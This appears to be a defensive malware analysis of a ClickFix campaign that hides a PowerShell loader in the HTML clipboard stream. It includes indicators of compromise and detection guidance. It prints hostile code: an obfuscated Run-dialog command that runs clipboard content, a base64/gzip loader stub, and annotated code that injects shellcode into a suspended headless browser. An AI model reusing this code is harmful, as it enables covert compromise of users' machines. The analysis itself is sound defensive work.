Rich Text, Poor Decisions: A ClickFix Chain Hidden in the HTML Clipboard
Rich Text, Poor Decisions: A ClickFix Chain Hidden in the HTML Clipboard
A compromised WordPress site served a page with an injected iframe element that led users to a ClickFix lure. The lure copied multiple data streams into a single clipboard entry. The plaintext stream contained the code executed by the user in the Run dialog, while the HTML stream contained the malicious PowerShell loader. By controlling the copy operation, the threat actor was able to mask their intent, hiding the malicious code inside a clipboard stream that would not be visible to the victim.
Following this operation, the victim followed the lure instructions and executed the following command through a paste operation in the Windows Run dialog. The command was stored in the plaintext clipboard entry stream.
$b='dgg0w|sh#0d#V|vwhp1Zlqgrzv1Irupv>lh{++^zlqgrzv1irupv1folserdug`==JhwWh{w+6,0vsolw*&&*,^5`,';
$o='';
for($i=0; $i-lt$b.Length; $i++){
$o+=[char](+$b[$i]-3)
};
$function:f=$o;
f
When decoded, this resolves to the following Invoke-Expression call. This command accesses the current clipboard entry and specifically retrieves the HTML stream of the entry. In this incident, the HTML stream held the malicious PowerShell code.
add-type -a System.Windows.Forms;iex(([windows.forms.clipboard]::GetText(3)-split'##')[2])
The -split'##' and the [2] index are needed because of how Windows stores HTML on the clipboard. The HTML clipboard format (CF_HTML) is not raw markup. It starts with a plain-text header (Version:, StartHTML:, EndHTML:, StartFragment:, EndFragment:) holding byte offsets, followed by the HTML wrapped in <html><body><!--StartFragment--> and <!--EndFragment--></body></html> tags. Calling GetText(3) returns all of it, header included. Rather than parse the offsets, the actor wraps the loader in ##S## and ##E## markers and splits on ##. That produces five elements: the header and leading markup, S, the loader, E, and the trailing markup. Index [2] is the loader, regardless of the header’s length or how the source application wrapped the fragment.
Below is an example of taking one clipboard entry and storing divergent data in the plaintext and HTML sections. As shown, the plaintext stream contains the content that is pasted during a typical paste operation. This is also the content that will be rendered when examining the clipboard history with Win+V. The HTML stream exists in the same clipboard entry, but must be accessed directly with the HTML format call. In the ClickFix command, GetText(3) specifies the HTML content.
Add-Type -AssemblyName System.Windows.Forms
# Data object that carries two different formats for one copy operation
$data = New-Object System.Windows.Forms.DataObject
# Plain text: what shows up when you paste into Notepad, a terminal, or the Run dialog
$data.SetText('plaintext shows up here', [System.Windows.Forms.TextDataFormat]::Text)
# HTML
$html = "HTML here"
$data.SetText($html, [System.Windows.Forms.TextDataFormat]::Html)
# Place both formats on the clipboard
[System.Windows.Forms.Clipboard]::SetDataObject($data, $true)
Write-Host 'Plain text format:' ([System.Windows.Forms.Clipboard]::GetText([System.Windows.Forms.TextDataFormat]::Text))
Write-Host 'HTML format:' ([System.Windows.Forms.Clipboard]::GetText([System.Windows.Forms.TextDataFormat]::Html))
When the above code is executed, the plaintext and HTML content are separately set for the same clipboard entry. This results in a single entry that contains multiple values.
PS:> Write-Host 'Plain text format:' ([System.Windows.Forms.Clipboard]::GetText([System.Windows.Forms.TextDataFormat]::Text))
Plain text format: plaintext shows up here
PS:> Write-Host 'HTML format:' ([System.Windows.Forms.Clipboard]::GetText([System.Windows.Forms.TextDataFormat]::Html))
HTML format: HTML here
PS:>
Note that copying text from a browser will typically include the previously discussed CF_HTML header and tags. However, copying the HTML from the above example will not include this data.
# Copied 'Conclusion' from a web page in a browser
PS:> [System.Windows.Forms.Clipboard]::GetText([System.Windows.Forms.TextDataFormat]::Html)
Version:0.9
StartHTML:0000000105
EndHTML:0000000187
StartFragment:0000000141
EndFragment:0000000151
<html>
<body>
<!--StartFragment-->Conclusion<!--EndFragment-->
</body>
</html>
The actor’s delimiter approach works either way. Without the header, the split produces an empty first element and index [2] is still the loader. The loader is retrieved correctly regardless of whether the browser or the page’s JavaScript built the CF_HTML wrapper.
Using multiple data streams in this way can help evade initial detections. In the case of this incident, the security solutions in place flagged the activity, but could not conclusively determine it as malicious.
Loader
The loader contained in the HTML stream is a simple base64 encoded GZIP archive. The base64 array is decoded and the GZIP archive is decompressed. The content of the archive is executed through an Invoke-Expression call.
##S##$m=New-Object IO.MemoryStream(,[Convert]::FromBase64String('...base64...'));
$z=New-Object IO.Compression.GzipStream($m,[IO.Compression.CompressionMode]::Decompress);
$o=New-Object IO.MemoryStream;
$z.CopyTo($o);
iex([Text.Encoding]::UTF8.GetString($o.ToArray()))##E##
The GZIP archive contains a PowerShell script that functions as a multi-stage loader designed to drop and execute a payload within a spawned, headless browser process. This is done by scanning the system for the following browsers. Specifically, the Take function is used to find the first currently running browser in the list.
function Take([string]$n){$p=gps $n -ea 0|select -f 1; if($p -and $p.Path -and (Test-Path $p.Path)){return $p.Path}} # Create a function to get the path of a process by name
foreach($n in 'chrome','brave','vivaldi','opera','firefox','waterfox','librewolf','floorp','whale','chromium','msedge'){$exe=Take $n; if($exe){break}}
If it can’t find a process by name, it looks for executables in common locations.
# $la = $env:LOCALAPPDATA
if(-not $exe){$pf=$env:ProgramFiles;$px=${env:ProgramFiles(x86)};foreach($p in "$la\Google\Chrome\Application\chrome.exe","$pf\Google\Chrome\Application\chrome.exe","$px\Google\Chrome\Application\chrome.exe","$la\BraveSoftware\Brave-Browser\Application\brave.exe","$pf\Mozilla Firefox\firefox.exe","$px\Mozilla Firefox\firefox.exe","$px\Microsoft\Edge\Application\msedge.exe"){if(Test-Path $p){$exe=$p;break}}}
The loader carries a second base64-encoded gzip archive of its own. Once a target browser is selected, it decompresses this archive to recover the shellcode that will be injected.
$ms=New-Object IO.MemoryStream(,$gz)
$z=New-Object IO.Compression.GzipStream($ms,[IO.Compression.CompressionMode]::Decompress)
$om=New-Object IO.MemoryStream
$z.CopyTo($om)
$code=[byte[]]$om.ToArray()
The script selects the headless launch command line arguments based on the browser family. This is to prevent the victim from visually identifying the behavior.
if($exe -match 'firefox|waterfox|librewolf|floorp'){$env:MOZ_LAUNCHER_PROCESS='0';$arg='-headless -no-remote -profile "'+$ud+'" about:blank'}else{$arg='--headless=new --no-first-run --user-data-dir="'+$ud+'" about:blank'}
After building the command line arguments, the script prepares for injection by scaffolding kernel32.dll function calls.
function X([string]$n,[type]$r,[type[]]$p){$script:t.DefinePInvokeMethod($n,'kernel32',22,1,$r,$p,3,2).SetImplementationFlags(128)}
$ip=[IntPtr];$u=[uint32];$s=[string];$b=[bool];$br=[uint32].MakeByRefType();$by=[byte[]]
X 'CreateProcess' $b @($s,$s,$ip,$ip,$b,$u,$ip,$s,$ip,$ip)
X 'VirtualAllocEx' $ip @($ip,$ip,$u,$u,$u)
X 'WriteProcessMemory' $b @($ip,$ip,$by,$u,$br)
X 'ReadProcessMemory' $b @($ip,$ip,$by,$u,$br)
X 'VirtualProtectEx' $b @($ip,$ip,$u,$u,$br)
X 'GetThreadContext' $b @($ip,$ip)
X 'CloseHandle' $b @($ip)
X 'ResumeThread' $u @($ip)
X 'WaitForSingleObject' $u @($ip,$u)
X 'OpenProcess' $ip @($u,$b,$u)
After the scaffolding, the injection occurs. The loader launches the browser in a suspended, headless state, writes the payload into the target’s memory, then overwrites the process’s entry point with a jump to that payload. When the thread resumes, the browser executes the attacker’s code as its very first instruction.
# Some code omitted - $blob is derived from $code which contains the shellcode
if([W]::CreateProcess($exe,$cl,[IntPtr]::Zero,[IntPtr]::Zero,$false,[uint32]12,[IntPtr]::Zero,$wd,$si,$pi)){ # Launch suspended + hidden (CREATE_SUSPENDED|DETACHED_PROCESS = 12)
$hp=$M::ReadIntPtr($pi);$ht=$M::ReadIntPtr($pi,8) # Grab process and thread handles
$M::WriteInt32($a,48,1048579) # ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER
if([W]::GetThreadContext($ht,$a)){$o=$M::ReadInt64($a,128) # read the thread’s start address from RCX
$m=[W]::VirtualAllocEx($hp,[IntPtr]::Zero,65536,12288,4) # Allocate 64KB in the target as read/write
[void][W]::WriteProcessMemory($hp,[IntPtr]::Add($m,4096),$blob,$blob.Length,[ref]$w) # Write payload at offset 4096
[void][W]::VirtualProtectEx($hp,[IntPtr]::Add($m,4096),61440,32,[ref]$uu) # Flip payload region to read/execute
$j=New-Object byte[] 14 # Build the 14-byte jump stub
$j[0]=255;$j[1]=37 # FF 25 = absolute indirect JMP
[Buffer]::BlockCopy([BitConverter]::GetBytes($m.ToInt64()+4096),0,$j,6,8) # Set jump target to the payload
[void][W]::WriteProcessMemory($hp,[IntPtr]$o,$j,14,[ref]$w) # Overwrite the entry point with the jump
if($ht -ne [IntPtr]::Zero){[void][W]::ResumeThread($ht);[void][W]::CloseHandle($ht)} # Process resumes and executes the payload
The loader writes a copy of the loader to $env:APPDATA\Microsoft\Windows\Themes\wx.ps1. It also sets the following environment variables:
- WX_URL=‘hxxps[://]statstore2653[.]com/ue/b/EncLFcEj’
- WX_MODE=‘u’
The written copy of the script pins the WX_MODE variable to ‘f’.
[IO.File]::WriteAllText($wxp,("`$env:WX_MODE='f'`r`n"+$s))
Dynamic Analysis
Execution was observed through process creation and injection. However, the target process was not successfully resumed, so payload execution was not observed.
Dynamic execution confirmed that the C2, statstore2653[.]com, is behind Cloudflare and uses a Let’s Encrypt certificate for HTTPS communications. Additionally, when the first headless process is spawned, a profile is created at $env:LOCALAPPDATA\Microsoft\Windows\Explorer\b0.
It is likely that wx.ps1 is used for persistence post-shellcode execution. However, as the process was not resumed properly in any executions, this behavior is currently unknown.
Indicators and Detection Opportunities
Indicators of Compromise
| Type | Indicator | Context |
|---|---|---|
| Domain | statstore2653[.]com |
C2 behind Cloudflare |
| URL | hxxps[://]statstore2653[.]com/ue/b/EncLFcEj |
Value of WX_URL environment variable |
| File path | %APPDATA%\Microsoft\Windows\Themes\wx.ps1 |
Copy of the loader, with WX_MODE pinned to f |
| Directory | %LOCALAPPDATA%\Microsoft\Windows\Explorer\b0 |
Headless browser profile (--user-data-dir / -profile) |
| Environment variable | WX_URL |
Set by the loader to the C2 URL |
| Environment variable | WX_MODE=u |
Set by the initial loader |
| Environment variable | WX_MODE=f |
Hardcoded in the persisted wx.ps1 copy |
| Environment variable | MOZ_LAUNCHER_PROCESS=0 |
Set when the target is a Firefox-family browser |
| SHA256 | 9DAA5F3FA0B012B431C154ECE8F35BB093B2D24CC805FB9D303041A0DE2B4FC8 |
wx.ps1 hash |
| SHA256 | 357B22EB32EB6F7245F30FC32A5209C589203371A552BB817E392454C2485C95 |
GZIP loader |
| SHA256 | 3222097E84EDC2491AD4488B7EEA1F02A73E0808505DAC7F6E3140B7496364C3 |
GZIP shellcode |
| SHA256 | 252DB615661174D3B59B51E1CCC341D90E1083CD038076DF385494FED1926F02 |
Decompressed shellcode |
| String | ##S## / ##E## |
Delimiters wrapping the loader in the clipboard HTML stream |
Detection Opportunities
| Behavior | Indicator | Context |
|---|---|---|
| Run dialog execution | [char](+$b[$i]-3) with $function:f= |
Character-shift decoder pasted into the Run dialog (plaintext clipboard stream) |
| Clipboard HTML retrieval | [windows.forms.clipboard]::GetText(3) with -split'##' |
Decoded stub that reads the HTML clipboard format to retrieve the loader |
| Encoded loader | FromBase64String → GzipStream → iex |
First- and second-stage decode pattern |
| Headless Chromium launch | --headless=new --no-first-run --user-data-dir="...\Explorer\b0" about:blank |
Injection target for Chromium-based browsers |
| Headless Firefox launch | -headless -no-remote -profile "...\Explorer\b0" about:blank |
Injection target for Firefox-family browsers |
| Process lineage | powershell.exe → browser launched with headless arguments |
Browser spawned by PowerShell, created suspended |
| Remote allocation | VirtualAllocEx of 0x10000 bytes as PAGE_READWRITE, payload at +0x1000, then VirtualProtectEx to PAGE_EXECUTE_READ |
Payload staging in the suspended browser |
| Entry point patch | 14-byte stub FF 25 00 00 00 00 + 8-byte address written over the thread’s start address |
Redirects the browser’s first instruction to the payload |
| Dynamic P/Invoke | DefinePInvokeMethod for CreateProcess, VirtualAllocEx, WriteProcessMemory, GetThreadContext, ResumeThread |
Script Block Logging (Event ID 4104) |